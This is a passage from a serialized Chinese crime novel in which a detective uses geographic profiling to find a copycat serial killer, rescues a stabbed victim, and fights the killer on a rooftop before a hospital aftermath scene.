马路两边的商铺大多还没开始营业,街上冷冷清清,马路边的摄像头正对着路口,把车停在了这里一定会被摄像头拍下来,如果带走小桃的是指甲油杀手,那他未免也太大意了。
程述站在路口左右张望,目光突然定格在一处漆黑的角落里,那儿堆着一张脏兮兮的被褥,隆起一座小山似的人形,周围还堆着些纸皮酒瓶之类的杂物,明显是某个流浪汉的地盘。
他抬脚走过去用鞋尖撩开了被子一角,一股刺鼻的酒味混合着令人难以忍受的酸馊立刻钻进鼻腔里,祝好忍不住捏紧了鼻子。
被扰了清梦的流浪汉把他们当成了抢地盘的同行,眼睛也不睁,只把一条胳膊从被子里伸出来不耐烦地挥了挥:“这里是我先来的,你们找别的地方去。”
程述半蹲下身问道:“你昨晚一直在这儿睡?”
流浪汉不情不愿地把眼睛睁开一条缝,看了他一眼:“你谁啊?”
程述又朝他逼近了一些,仿佛那股难闻的气味不存在:“先回答我,昨天晚上你是不是一直睡在这里?”
流浪汉被他寒气逼人的目光和同样冷冰冰的语气吓得酒都醒了大半,但嘴上半点不输:“是、是又怎么样?这个地方我都呆了大半个月了!”
祝好连忙问:“那你凌晨四点左右有没有看到有人把一个女孩带走?”
流浪汉晃了晃脑袋:“我没看到有人把女孩带走,我什么都不知道。”
对问题的双重否定,是撒谎时的典型表现。
祝好又问了一遍:“真的吗?”
流浪汉摆了摆手,把脑袋缩回了脏兮兮的被褥里,试图用这种无声的方式把面前这几个吵醒自己的人赶走。
祝好灵光一闪,从钱包里拿出两张钞票在流浪汉脑袋上方晃了晃:“如果你告诉我,这200块钱就归你了。”
流浪汉把被子往下挪了一些,看清了面前的钞票,浑浊的双眼倏地亮了,正要从她手里抢过钞票,手却被程述拍开:“先回答问题。”
流浪汉坐起来,抓了抓打绺儿的头发,说道:“看到了,当时我正坐在这儿喝酒呢,突然听到巷子里好像有人吵架,接着就看到一个男的拖着个女孩上了车。”
刘二虎嗷一声扑上前揪住流浪汉的领子,吼道:“你怎么不拦着他,就这么眼睁睁地看着他把人带走?”
流浪汉拼命挣扎着往后挪动屁股:“你们到底谁啊?我既不认识把人带走的人,也不认识被带走的人,我拦着他干嘛,万一人家只是夫妻之间吵架呢?”
“你——”
刘二虎气不打一处来,抬起拳头就要往流浪汉的脸上砸去,手腕却被程述一把攥住。
他把刘二虎拨到一旁,从祝好手里抽出一张钞票递给他,问道:“那个男的长什么样?”
流浪汉惊魂未定,小心翼翼地把钱收进口袋里,看了看程述,又看了看刘二虎,说道:“身高在你俩之间,长得挺结实的,短头发。”
祝好拿出手机,打开秦聿风刚才发过来的涂焕新的照片,问道:“是他吗?”
流浪汉捻着下巴上的胡子思考了一会儿:“有点像,但不太确定,他昨晚戴了口罩。”
刘二虎憋着一股气,问道:“他开的是什么样的车?”
流浪汉又想了半天,抬手比划说:“黑色的车,四四方方的,轮子很高。”
“车牌号记得吗?”
“记——”流浪汉话说到一半突然顿住,眼神不住地飘向祝好手里剩下的那张钞票,话音一转:“记不太清了。”
程述松了松手指关节,面无表情地看着他:“需要我帮你回忆一下吗?”
对上他的目光,流浪汉不禁打了个寒战,一拍脑门:“诶诶诶,我突然又想起来了,车牌号好像有个‘4’,还有个‘8’。”
等了一会儿看他没继续说下去,程述又问:“没了?”
流浪汉连声答道:“没了没了,真没了。我当时喝了酒,他开得又很快,我就记得最后一个数字是‘4’,其他的真想不起来了。”
“8……4……”一旁的刘二虎突然喃喃自语,不知在想些什么,片刻后他突然问到:“车牌号最后几个数是不是‘824’?”
流浪汉仔细回想了一会儿,才迟疑道:“……好像是。”
刘二虎的目光陡然一亮:“程哥,我见过那辆车,是一辆黑色的SUV,这几天一直停在大排档对面!我还奇怪他为什么老停在那儿呢,现在回想起来,他是不是从那时候就盯上小桃了?”
程述问:“你确定?”
刘二虎重重点头,语气十分笃定:“确定,不过我没看清车里坐的是谁。程哥,他不会跟那个跟踪小桃的是同一个人吧?”
程述没功夫回答他,眉头一皱,拿出手机给秦聿风拨了一通电话:“喂,老秦?”
电话对面的秦聿风语气中带着难以掩饰的疲惫:“怎么了大哥,我才刚要闭眼眯一会儿。”
程述打断他:“帮我查一辆车,黑色的SUV,车牌最后三个数字是‘824’,我一会把他最后出现的位置发给你。”
秦聿风有些疑惑:“怎么了?”
程述言简意赅地解释:“有个留着中短发的女孩失联了,带走她的就是这辆车。”
秦聿风听出了他话里的意思:“你怀疑是指甲油杀手干的?”
“对,你先查,有结果了告诉我,剩下的我有空再跟你解释。”
挂断电话后,程述转头问流浪汉:“那辆车往哪个方向开了?”
流浪汉指了指一个方向:“那边。”
程述略一点头,朝祝好伸手:“地图。”
祝好赶拿出手机打开淮江市的地图,把手机递给他。
程述从流浪汉的“藏品”中拣起一小块木炭,把手机放在一旁,用手指大概丈量了一下比例,在地上画了三个点。
祝好问:“这是什么?”
“这是三个犯罪现场在地图上的位置。”程述解释说:“大部分连环杀手都会有一个‘舒适区’,指的是在犯罪活动中能让他感到安全、熟悉,且能够最大限度控制风险的领域,比如在他的居住地、工作地或常活动区域内作案,可以利用对地形、监控盲区和警方反应时间的熟悉程度来降低风险。”
刘二虎在一旁听得云里雾里,脸上
交织着震惊和崇拜的神情:“程哥,你可真牛。”
程述对他的彩虹屁置若罔闻,接着说道:“受到顾远乔的影响,新的指甲油杀手的作案习惯也是先将被害人带回某个固定的区域杀害后,再精心寻找和布置抛尸的地点。如果带走小桃的跟杀害夏嫣和严雪儿的是同一个人,那他一定会把小桃带到他位于舒适区的作案现场,所以我们现在要做的就是确定这个‘舒适区’的位置。”
虽然这已经超出了祝好的知识范畴,不过她很快明白了程述的意思——就好像草坪上的喷洒头会四处喷水,人们很难推测出下一个水滴会落在何处,却可以通过推算所有水滴落地点的共性找到喷洒头的位置——也就是水滴的原出发点。
同理,只要将每个案件的地点标出来,分析指甲油杀手每次带走受害者的地点在空间上所形成的点、线、面关系,就可以大致推算出他的作案地点最有可能所在的位置。
“作案地点会不会在他家里?”这个问题刚问出口,就立刻被祝好自己给否认了。
在城市中,除了一些位置偏僻的独栋别墅外,大部分人居住的地方都是众多人口聚集的社区,想要把一个大活人搬到自己的住所作案显然不太可能。
“不会是他的住所,但也不会离他的住所太远,一定还是在舒适区附近,毕竟他很难保证受害者在中途醒来是否会反抗。”程述用木炭在三个点周围各画了一个圈,说道:“如果是这样,他的作案地点很可能在……”
他把手机上的地图放在地上对比了一下,指了指三个圆圈相交的区域:“这里。”
祝好把手机上的地图放大,发现那是城南的一个垃圾场,垃圾场附近零零散散分布着一些建筑物。
刘二虎说:“我知道这里!当时听说那片区域在拆迁范围内,很多人为了多拿补偿款就连夜加盖新房,但那些房子都是赶工盖出来的,基本不能住人。”
一股刺鼻的气味靠近,祝好才发现流浪汉不知什么时候也凑了过来,她刚要嫌弃地挪开,就听到流浪汉兴奋地喊道:“这个地方我住过一阵,安静得很,周围一个人也没有,不过那个垃圾场实在太臭了,还是睡大街上舒服。”
周围人迹罕至,垃圾场的臭味又能很好地掩盖血腥味,实在是个再合适不过的作案地点了。
听说带走小桃的可能是连环杀手,刘二虎吓得腿都软了:“小桃……小桃不会出事吧?程哥,嫂子,你们一定要救救她!”
虽然掌握了车型和车牌号,但警方通过监控查询黑车的动向也需要时间。在前两起案子中,受害者被带走的时间和死亡时间只相隔了四到五个小时,而距离小桃被带走已经三个小时了,她随时可能有生命危险。
来不及思考太多,程述朝祝好一挥手:“走,我们先过去。”
第209章
上了车,程述迅速启动车辆挂好挡,余光瞥见祝好系好安全带后便一脚踩下油门,车子立刻咆哮着猛冲了出去。
刘二虎屁股才刚刚沾到后座的坐垫上,人还没反应过来,就被结结实实拍进了座椅里,发出一声杀猪般的嚎叫。
在引擎的轰鸣声中,他默默系上了安全带,颤颤巍巍地发出一句灵魂拷问:“程哥,你这车真的不会散架吗?”
程述把车开得飞快,百忙之中抽空从后视镜斜了他一眼:“爱坐坐,不坐滚下去。”
刘二虎利索地闭上了嘴,紧紧抓住了门上的扶手。
路上,程述的手机突然响了。他双手把着方向盘,眼睛一刻不停紧盯着前方的路:“祝好,帮我接电话。”
“你手机在哪儿?”
“裤子口袋里。”
祝好:……
她很想问程述是不是故意的,但看着他认真的神情,又把话咽了回去。迟疑片刻,小心翼翼地用食指和中指把手机从他口袋里抽出来。
电话是秦聿风打来的,祝好刚摁下接听键,他就迫不及待抱怨了一句:“怎么现在才接。”
然后又说:“我查了一下,昨晚确实有一辆车牌号为‘1A824’的黑色SUV从那条街道驶出,而且这辆车正是在涂焕新名下。不过目前交通监控只追踪到他开往城南,要查到他的具体位置还需要时间。”
程述问:“你打开地图看看,城南是不是有个垃圾处理厂?”
“对,怎么了?”
“垃圾处理厂附近有一片荒废的违建楼,我用地理侧写推算出他的作案地点可能在那儿,我已经在过去的路上了。”
秦聿风微微一怔,问道:“你确定?”
他的犹豫不是没有原因的,无论在什么情况下,犯罪心理画像因为受限于主观性和非实证性,只能给刑事案件的侦查提供参考和调查方向,而不能作为客观证据。
程述实话实说:“我不确定,但现在我只能赌,你如果相信我就带人过来,不相信我的话我就自己——”
他的话说到一半,就被秦聿风打断了:“你别擅自行动,我现在马上过去。”
“好。”
挂断电话,程述一脚油门加速超过了前面的卡车,继续风驰电掣地朝垃圾场的方向开去。
祝好对这样的车速已经习以为常,她拽紧安全带,看着窗外争先恐后向车尾狂奔的街景,内心有说不上来的忐忑。
在夏嫣和严雪儿的案子中,二代指甲油杀手不仅继承了顾远乔残忍冷酷的性格,也同他一样小心谨慎,除了故意被留下的那一枚鞋印和祝好依靠隐藏功能找到的微量血迹之外,几乎没有在现场留下任何线索。
可小桃被带走的这一回,他不仅把车停在了能被监控拍到的位置,甚至没注意到角落里的流浪汉,以至于留下了潜在的目击证人。
他为什么会变得那么如此草率和冒失?
虽然心里有诸多疑惑,但眼下还是小桃的安全最重要,她瞟了一眼全神贯注开车的程述,还是没把这些疑问说出口。
淮江市有好几个垃圾场,几乎都位于城市的边缘地带,远离人口密集的市中心区域,与主要的居民区保持着数公里、甚至十几公里的距离,以避免对居民的生活造成直接影响。
城南的这个垃圾场临近高速公路的出口,方便垃圾转运车快速从城市道路驶入高速公路,既能减少运输时间,又能降低运输过程中可能产生的二次污染风险。
那片违建房就在垃圾场旁边,这些房子原本都只是残破的瓦房,早就没人住了。几年前不知从哪儿传来的消息说这一带要被政府征用,拆迁后会有巨额补偿款,于是屋主人连夜用木板、砖头和水泥把原本的平房往上加盖了好几层。
没想到后来这一带并不在拆迁范围,于是这些粗制滥造的红砖楼也就理所当然被遗弃在原地,与臭气熏天的垃圾场仅有一墙之隔。
垃圾场里各种各样的生活垃圾堆成了几座小山,成群的苍蝇嗡嗡地笼罩在山顶。腐烂的果蔬、各色塑料袋、废旧衣服和残破的家具混杂在一起,污水从垃圾堆的底部渗出,在坑洼的地面形成漂浮着一层油膜的黏稠水洼。
为了不打草惊蛇,程述把车停在了垃圾场的围墙边。逐渐温暖的气温使得细菌迅速繁殖,刚打开车门,令人窒息的气味就扑面而来,刘二虎忍不住扶着嗓子干呕了一声。
建造得歪七扭八的违建楼周围已经被半人高的杂草占据,程述猫着腰走在前头,拨开枯黄的杂草,看到了一辆黑色的SUV,车牌号正是“1A824”。
祝好的心怦怦直跳:他们赌对了,小桃和涂焕新真的在这儿。
程述回身朝跟在后面的祝好和刘二虎做了个噤声的手势,小心翼翼地踩着脚下的枯草走到那辆SUV旁,把手放在车前盖上探了探,低声说道:“还有余温,车刚停不久,人应该就在附近。”
祝好了然,掏出手机给秦聿风发了条信息,秦聿风很快回复,说已经在赶来的路上了。
四下万籁俱静,随着天色渐渐亮起,连虫鸣声都隐匿了起来,偶尔一阵微风拂着耳畔而过,带来了不远处一声若隐若现的呜咽。
程述停在原地认真听了一会儿,轻手轻脚循着声音传来的方向找去。
祝好跟在他身后,紧张得手心里都是汗——上一回那么紧张的时候,还是带着李砚川雨夜跟踪姚雨欣那次。
走到一栋楼附近时,程述突然顿住脚步,朝祝好和刘二虎做了个“停下”的手势,闪身躲在了楼后面。
“是那儿。”
顺着他手指的方向,祝好看到了一栋被杂草包围的三层小楼。
这同样是一栋违建房,一楼是水泥修的,看起来稍微牢固一些,但木制的大门经过日晒雨淋已经残破不堪,窗户上的玻璃也碎了大半。
二楼、三楼都是为了多要些拆迁款临时搭建的,做工十分粗糙,所谓的窗户也只是两个方形的洞,能坚持到现在还不坍塌已经是个奇迹了,更别提住人。
那阵呜咽声正是从这栋楼的二楼传出来的,除此之外,还伴随着窸窸窣窣的说话声,但因为离得太远,并不能听清说话的内容,只能隐约分辨出是个男人的声音。
他们贴着墙悄悄挪到楼下时,呜咽声却突然变成了一声哀嚎,但声音似乎被什么东西堵在了喉咙里,变成了断断续续的闷哼和哭泣。
“是小桃的声音!”
听到动静,刘二虎不管不顾地就要往屋里冲。程述一把拽住他的后领把他拖回原地,低声喝道:“呆这儿别动。”
刘二虎急得双眼充血:“可是——”
“没有可是。”程述脱下外套递给祝好,撸起袖子露出结实的小臂:“你们在这儿等着,我进去。”
祝好连忙扯住他:“我们不等秦聿风了?”
程述摇摇头:“等不了了。”
祝好还想说些什么,但也明白他这么说的原因——虽然从声音上判断小桃暂时没有生命危险,但谁也没办法确定涂焕新什么时候会对她动手。
似乎是看出了祝好的担忧,程述故作轻松地笑了笑:“你还担心我对付不了他一个人?”
没等祝好说话,他又说:“放心,我不会有事的,你们就待在这儿等我。”
祝好知道待会儿如果真打起来自己帮不上什么忙,刘二虎那小身板也起不到任何作用,甚至还有可能给程述添乱,只得点了点头,叮嘱道:“那你要注意安全。”
“知道了。”程述从地上捡了一根木棍在手里掂了掂,又揽着刘二虎的肩膀把他带到一旁,小声问他:“二狗,会开手动挡吗?”
刘二虎紧张地点点头:“会。”
程述从口袋里掏出车钥匙塞到他手里:“如果待会儿出现什么意外状况就带着你嫂子先走,知道吗?”
刘二虎一愣,郑重地接过钥匙,眼神坚定得仿佛下一秒就要入党:“遵命!”
腐朽的木门没有上锁,只是虚掩着。
程述轻轻推开木门,拎着棍子往里走去,顺着角落的楼梯上了二楼。
外围的杂草遮蔽了大半天光,从破碎的窗户往里望去,屋里光线十分昏暗,只能勉强看清里面堆放着一些早已废弃的家具。
祝好一颗心提到了嗓子眼,后背也被冷汗浸湿了,她凝神听着屋里的动静,时不时回头往车道上张望,希望秦聿风能来得快一些。
被委以重任的刘二虎看她紧张的模样,安慰道:“嫂子,你放心,程哥一定会没事——”
最后一个字刚到喉咙,二楼突然传出一声沉闷的声响,然后是什么东西掉落在地上、与地面撞击发出的“哐当”声,紧接着没有安装玻璃的窗户前出现了一个人影。
虽然那个身影只是一闪而过,但祝好还是认出了那张脸,是涂焕新。
涂焕新踩上窗沿奋力往前一跳,落在了隔壁那栋稍矮一些的楼顶上,拔腿就跑。
祝好还没反应过来,就看到程述也攀着窗户跃出,落在了跟涂焕新同样的位置上,回头朝他们喊了句“叫救护车”后,就闪电般追了上去。
来不及多想,她招呼刘二虎:“走,上去看看小桃。”
刘二虎连忙点头,跟在她身后进了屋子。
一股淡淡的血腥味从楼上缭绕而来,祝好心脏猛跳了几下,加快步伐来到了二楼,映入眼帘的是满地的血迹,双手被反绑在身后的小桃正躺在地上拼命扭动身子,呜呜的求救声被胶带封在了嘴里。
地上的血迹大部分已经干涸,看样子并不属于小桃,极有可能属于之前遇害的夏嫣和严雪儿。
“小桃,你没事吧!”
刘二虎被眼前的景象惊呆了,愣了好一会儿才冲上前手忙脚乱地撕下小桃嘴上的胶带,小桃睁大双眼惊恐又无助地看着他,好半天才堪堪回过神来,“哇”地哭出声:“二虎哥,我、我……”
“好了好了,没事了,哥来救你了。”刘二虎刚想要扶起小桃,就惊慌失措地喊出声:“嫂、嫂子,小桃受伤了!”
祝好心一紧,赶紧查看小桃的伤势,这才猛然发现她的下腹插着一把匕首,只有刀柄还露在外面。
她长吸一口气,强迫自己镇定下来,吩咐刘二虎:“我打电话,你把她解开。”
说完拿起手机拨打了急救电话,报上了准确的地址,并向接线员询问了如何对腹部中刀的伤患进行护理。
刘二虎手忙脚乱地解开了小桃手脚上的麻绳,身上的束缚刚一松开,受惊过度的小桃立刻挣扎着想要坐起来,祝好赶紧扶住她的肩膀制止了她:“别动,平躺好!也别紧张,先做个深呼吸,让心率降下来。”
小桃虽然惊恐到了极点,但还是听话地平躺好,深深吸了一口气。
祝好没办法判断她有没有伤到内脏,只得按照接线员的指示脱下外套小心地在她的伤口周围按压,并把她的双腿抬高,减缓重要器官的出血速度。
与此同时,程述如同一只正在捕猎的猛禽对涂焕新穷追不舍,炯炯的目光紧盯着他逃跑的背影。
其实刚才上到二楼时涂焕新是背对着他的,并没有第一时间发觉他的到来,然而惊慌无措的小桃先一步看到了他,下意识发出“呜呜”的求救声,涂焕新立刻察觉了异常,在程述手中的木棍砸向自己的瞬间往地上一翻滚,然后飞快起身扒住窗沿,随即纵身一跃,身影很快消失在窗边。
程述迅速检查了小桃的伤势,发现她暂时没有生命危险,便追着涂焕新的脚步跳出窗外。
这些违建房本身在建造时就没什么规划,有的还是平房,有的已经建起了三四层楼高,而且楼与楼之间有的紧紧贴在一起,有的又相隔甚远,坑洼不平的泥地上荒草丛生,还堆放着一些之前用剩的泥沙和砖块。
两人就这么在路况复杂的违建房之间展开了追逐战,涂焕新似乎对这一带的地形十分熟悉,从房顶跳到半塌的围墙又稳稳落在地上,接着不停在几栋房子之间的夹缝中来回穿梭,不时推倒靠在墙边的木架阻拦程述的路,又抱起地上的花盆朝他砸去。
趁着程述侧身躲开的空当儿,他沿着一把梯子迅速爬上了一栋三层小楼的楼顶,程述紧追不放,可刚爬到一半,就看到站在楼顶边缘的涂焕新嘴角勾起一抹冷笑,随后抬脚将梯子一踹。
梯子失去平衡向后倒去,程述咬牙蹬着梯子腾空而起,反手抓住窗沿纵身一跳,翻滚落在了二楼的地面上,然后飞快沿着角落的阶梯追上顶楼。
还没等他站稳,猝不及防一道冷光斜削而至,他几乎是条件反射般一偏头,雪亮的刀光裹挟着一股劲风贴着耳廓擦过。
他还没反应过来,匕首又如一阵疾风挥向他的脖子,他后仰躲过了这一击,抬手架住涂焕新的胳膊,一记手刀劈在他的手腕上,匕首应声而落的瞬间扭身来了个过肩摔,将涂焕新狠狠掼在地上。
涂焕新吃痛闷哼一声,但反应极为迅速,反手从地上抄起半块砖头狠狠砸向程述,又低吼着从地上跃起,一记直拳直捣程述面部,被程述抬手格挡。
过了几招后,程述很快就发现了涂焕新身上确实有几分功夫,并且身手敏捷,不过他并未受过什么正规的训练,多半是在街头打架斗殴练出来的。虽然出手狠戾、气势十足,但一招一式间十分混乱,很容易就将自己身体的薄弱地带都暴露出来。
又一记拳头捣来,程述迅速闪身躲过,一手捋抓住涂焕新的手腕,另一只手掐住他的咽喉向前一推,同时右脚插进他脚后向后扫绊,将他摔倒在地,顺势用膝盖顶住了他的肋部。
远处的公路上传来一阵若隐若现的警笛声,涂焕新目光一凛,从地上抓起一把石灰扬手一撒,空气中立刻炸开一片白雾。程述下意识抬手去挡,但还是被纷纷扬扬的石灰迷了眼睛。
与此同时,他脑袋上重重地挨了一板砖,黏腻的血液混合着石灰粉使得双眼一阵剧痛,模糊的视线中,他看到涂焕新趁机翻身从地上爬起,脚尖勾起地上的匕首,反手抓住了刀柄,心道不好,刚要闪避,右边肩膀就突然传来一阵凉意——他清楚地知道自己被锋利的匕首刺中了。
趁着神经还没来得及将痛感反馈给大脑,他凭借多年的实战经验和本能的反应后撤几步,调整重心,使出一记横踢重重踹向涂焕新的胸口。
涂焕新重心不稳,踉跄着后退了好几步,脚下本就不太结实的楼板轰然坍塌,他的身体失去支撑,整个人直直下坠。
就在这千钧一发之际,程述飞身上前一把抓住了他的手腕。
下坠的重力将程述右肩上的伤口硬生生扯开,方才被大脑屏蔽的疼痛此刻终于来袭。警笛声越来越近,他强忍痛意,从紧咬的牙缝中艰难地吐出几个字:“抓紧我,爬上来。”
涂焕新抬头看他,平静地说:“我杀了人……”
身下的楼板根本支撑不了两个人的重量,又一次发出迸裂声,程述打断他:“先上来!”
涂焕新无动于衷,重复道:“人都是我杀的。”
程述:“……”
他想说别说那么多废话了,这里距离地面有将近二十米高,摔下去不死也残,但话到了嘴边,他却没有力气说出来。
悬在半空中的涂焕新还在喃喃自语:“我本来还可以杀更多人,就像我爸爸一样,可惜那么快就被你们发现了。你说,明天的报纸上会出现我的名字吗?我会不会成为我爸爸那样的名人?”
程述已经没办法回答他的问题了,温热的血不断从撕裂的伤口渗出,顺着手臂不断向下流淌。他大脑一片空白,受伤的手臂根本承受不住一个成年人的重量,身体因为疼痛和失血不停颤抖。
十多辆警车终于到达,全副武装的警员纷纷从车上下来,有眼尖的人看到了挂在墙边的涂焕新,喊道:“他们在那儿!”
涂焕新低头看着脚下聚集的警员,突然兴奋地大声喊叫起来:“你们听到了
吗?我杀了人!我才是指甲油杀手!”
恍惚间,程述感觉到他慢慢松开了手,紧接着整个人急速下坠,“砰”的一声重重在地面上,霎时间绽开一片殷红色的血花。
程述忽然有些眩晕,他身体几乎完全脱力,仰面躺倒在楼顶,血液混合着石灰粉沾在睫毛上,仿佛一片厚重的帘子,遮住了刺眼的阳光。
第210章
祝好提着保温壶推开病房门,没在病床上看到程述的身影,却听到病房里的盥洗室有哗哗的水流声。
她把保温壶放在床头柜,走过去敲了敲虚掩的门,问道:“程述,你在干什么?”
“没什么,刮个胡子而已。”盥洗室的门被拉开,程述下半张脸上挂着一层厚厚的白色泡沫,左手拿着刮胡刀,正对着镜子不太熟练地清理下巴上的胡茬。
怎么受伤了还那么臭美。
祝好吐槽他:“几天不刮胡子又不会怎么样,医生不是让你卧床休息吗?你怎么就不能安分点。”
程述抱怨:“要是什么都听医生的我早就闷死了,这也不让做,那也不让做,天天就在床上躺着,我只是肩膀受了点小伤,又不是残废了。”
还“受了点小伤”,祝好没好气:“医生都说了,你的伤很严重,不好好护理这条手臂可能会废掉的。”
他被送进医院时除了身上数不清的瘀伤和擦伤外,最严重的就是右肩上被匕首捅出的那个血窟窿,好在并没有伤到动脉、神经或者肌腱,否则很可能造成永久性的损伤。
祝好说完刚要转身离开,就听到程述“嘶”了声,一回头,看到他下巴上被刮出一道细细的血口子。
她叹了口气,不由分说从他手里接过刮胡刀,一只手捏住他的下巴:“我帮你。”
程述愣了一下,没有反抗,听话地微微弯下身。
祝好拿着刮胡刀小心翼翼地贴着他的下颌轻轻刮动,盥洗室里很安静,只有两个人的呼吸声和刮胡刀划过泡沫和胡茬时发出轻微的“沙沙”声。
逼仄的空间里,祝好能感觉到一道灼灼的视线落在自己脸上,蒸腾出某些难以言说的气氛。
“咳,好了。”她拿起毛巾擦掉他下巴上的泡沫,忍不住用大拇指摩挲着那道血痕:“在你的伤完全好之前我可以勉为其难照顾你几天,你要是有一只手不方便做的事情就跟我说,我帮你。”
程述点了点头,一本正经道:“我一只手不太方便自己洗澡。”
祝好:……
她没好气:“医生给你缝针的时候为什么不顺便把你的嘴缝起来?”
程述挑起一侧眉毛:“可能是因为我的嘴还有其他用处。”
看他玩味的表情,祝好就知道他一定又在酝酿着什么坏主意,干脆装作没听到,推着他坐到床上,打开保温壶把炖好的骨头汤倒到碗里递给他:“好了,胡子也刮完了,你现在该遵医嘱好好休息了吧?我炖了骨头汤,你先喝一点。”
程述靠在床头,得寸进尺:“我一只手也不方便自己吃饭。”
祝好狠狠翻了个白眼:“那你可以学白眼狼用舌头去舔。”
程述嘴角向下一撇,故作委屈地控诉她:“可是我身上的伤口好疼。”
祝好:……
刚才还只是“受了点小伤”,现在怎么就变成“伤口好疼”了?
僵持片刻后,她无奈地妥协了,端起碗舀了一勺汤递到他嘴边。程述脸上露出了胜利的微笑,心满意足地喝下了那口汤。
“咚咚咚——”
病房的门忽然被敲响,秦聿风推开门走进病房,径直走到病床前唰唰两下解开了程述的扣子,把他的病号服扯开:“哟,大英雄,你这伤口缝得还挺好看。”
“……”程述用左手把自己的领子扯回原处,骂道:“你有病吧。”
秦聿风拍了拍病床嘿嘿一笑,说道:“你别说,这床还挺舒服的。”
程述无奈:“舒服?那我也往你肩膀上捅一刀,你就可以住进来了。”
秦聿风也不气恼,皱着鼻子嗅了嗅飘散在空气中的香味:“好香啊,老程,你吃了什么?”
程述“啪”一下合上保温壶的盖子,警惕地看着他:“爱心病号餐,没你的份。”
“小气,那我点个外卖吧。”
程述似乎对他出现在病房里这件事很不高兴,嘟囔道:“你家里又不是没有餐桌,为什么一定非得来我的病房里吃?”
秦聿风不以为意:“我特地给你申请的VIP特护单人间,住院费都是局里出的,我在这吃个饭又怎么了?”
点完外卖,他放下手机,用床头的遥控器打开了墙上的电视,里面正好在播放“指甲油杀手落网”的专题报道,屏幕上明晃晃地放着顾远乔和涂焕新的照片,主持人在镜头前用浮夸的表情和语气解析着这个横跨了二十多年的奇案。
曾经的连环杀人犯去世之后,突然冒出一个很有可能连他自己都不知道的儿子,而且这个儿子还继承了他的名号,模仿他的手法继续杀人——这么曲折离奇的发展,简直是放在电视剧里头都觉得不可思议的程度。
涂焕新从楼顶坠落时后脑着地,颅骨严重受损,好在救护车来得及时,捡回了一条命,但也从那时起陷入了昏迷,在ICU住了好几天也没有任何要醒过来的迹象。而且据医生所说,他有变成植物人的风险。
他在坠楼前留给程述的最后两个问题是“明天的报纸上会不会出现他的名字”和“他会不会成为顾远乔那样的名人”——从犯罪心理的角度来说,顾远乔之所以会成为连环杀手,除了他自身的问题之外,童年时期受到的创伤也是导致他心理扭曲的其中一个原因。
可祝好想不明白,涂焕新“子承父业”又是因为什么?
程述问:“涂焕新醒了吗?”
秦聿风:“还没有。”
“那调查有什么进展?”
“我们在涂焕新的车里找到了作案用的麻绳和匕首,还在角落里找到了微量的血液,经过鉴定,正是属于夏嫣和严雪儿。对了,我们查了他的电脑,在里面发现了NPK的登录账号。”
警方掌握了那么多证据,就算没有涂焕新的口供,也已经足够给他定罪了,不过祝好心里还是有很多疑虑。
“顾远乔那本日记呢?”
秦聿风头疼地撇了撇嘴:“还没找到,不知道这家伙藏哪儿了 。”
“你们调查过涂焕新的背景了吗?”
“涂焕新在涂秀丽去世之后就把房子卖了,来了淮江市。我托那边的警局去帮忙调查过了,听邻居说涂焕新从小脾气就很暴躁,给涂秀丽惹出了不少麻烦,还会虐杀家附近的流浪猫、流浪狗。初中毕业之后他就不愿读书了,跟着一些小混混在街头收保护费,还经常跟人打架,不过运气好加上跑得快,一直没被抓到过,所以我们之前才没有在数据库里匹配到他的DNA。”
秦聿风说着又叹了口气:“也不知道涂秀丽有没有后悔过当初把他生下来。”
祝好心口沉甸甸的,像压了块大石头。23岁本该是人生最美好的年纪,可涂秀丽不仅承受了无妄之灾,还怀上了伤害自己的人的孩子,
或许她站在母亲的角度,不希望让无辜的孩子去承担别人犯下的过错,可当她发现随着年龄的增长,这个当初自己不顾一切要保护的孩子变得跟他的父亲越来越像时,会是怎么样的感受?
在某一时刻,祝好突然庆幸涂秀丽已经不在人世,否则如果知道涂焕新竟然“子承父业”杀害了两名无辜的女性,一定会更加痛苦。
不过涂焕新究竟是怎么知道自己是指甲油杀手的儿子,还能找到顾远乔杀人的“秘密基地”,并带走了他的日记?
这些问题的答案,恐怕只有涂焕新本人才知道了。
秦聿风的手机忽然响了,他接起电话听了一会儿,应道:“好,知道了。”
挂断电话,他从床上站起身伸了个懒腰:“局里还有事,我得先回去了。”
祝好:“你的外卖还没到——”
“留着给这位大英雄加餐吧,我改天有空再来看你。”
程述抬起左手阻止他:“诶,不用,你忙你的去吧,我可不用你操心。”
秦聿风什么也没说,只是笑了笑,离开了病房。
他一走,病房里又安静了下来,只剩电视上的主持人还在喋喋不休。
程述拿起遥控器关掉电视,自己端着碗喝完了剩下的汤,问祝好:“医生有没有说我什么时候能出院?”
祝好:“你怎么才住了几天就想出院?”
“不是才住了几天,是已经住了好几天了。这里也太无聊了,什么都做不了。”他眼睛一转:“要不你把我偷渡出去吧?”
祝好:……
她实在想不明白这家伙的精力怎么能那么旺盛,好好在医院呆几天就跟要他的命似的。
看她嘴唇抿成一条直线,像是要生气,程述立刻就服软了:“开玩笑的,我一定遵医嘱好好住院,不过你今晚能不能别回家了,这不是还有张床吗?你在这里陪我吧。”
祝好摇头:“陪护床硬邦邦的,哪儿有家里的床舒服。”
程述用左手拍了拍身下的病床:“那你睡这张,我睡陪护床。”
“不行,待会儿护士看到了该说我虐待病患了。再说了,我还要回去给白眼狼放猫粮、铲屎呢。”
程述叹了口气:“唉,原来我还不如那只长毛猪重要,早知道当初就不应该答应把它留下来,让它出去流浪就好了。”
祝好被他这孩子气的抱怨逗得噗嗤笑出声:“我回去给它放好猫粮再回来陪你,行了吧?”
“算了,看你不情不愿的,而且我也不想你大晚上一个人在外面晃悠,不安全。”程述转头看了看窗外逐渐暗下来的天色:“你赶紧回去吧,到家了给我打个电话,记得把门反锁好。”
难得他那么善解人意,祝好收拾好保温壶,又帮他剥了个橘子放在床头,才叫了辆车从医院离开。
出租车司机把车停在巷子前,担心进去之后不好掉头,说什么也不肯再往里开了。祝好也不想跟他争辩,付了钱,提着保温壶下了车。
刚走进巷子里,她就觉得有些不对劲——奇怪,周围怎么一片漆黑?
不仅路灯不亮,就连居民楼也是黑漆漆的,难道是电路出了问题吗?
祝好从口袋里找出手机,正要打开手电筒,身后忽然传来一阵若隐若现的脚步声。
巷子里没有亮光,本就有些阴森森的,她头皮一麻,脑子里瞬间浮现出无数恐怖片的画面,不自觉起了一阵鸡皮疙瘩,加快脚步就要往家里走,肩膀却突然被人拍了一下。
她吓得差点叫出声,刚要拔腿跑,就听身后的人说话了:“祝小姐,是我,唐宋。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
210-214
第211章
手电筒的光晃过那张脸,祝好才确认身后的人真的是唐宋。
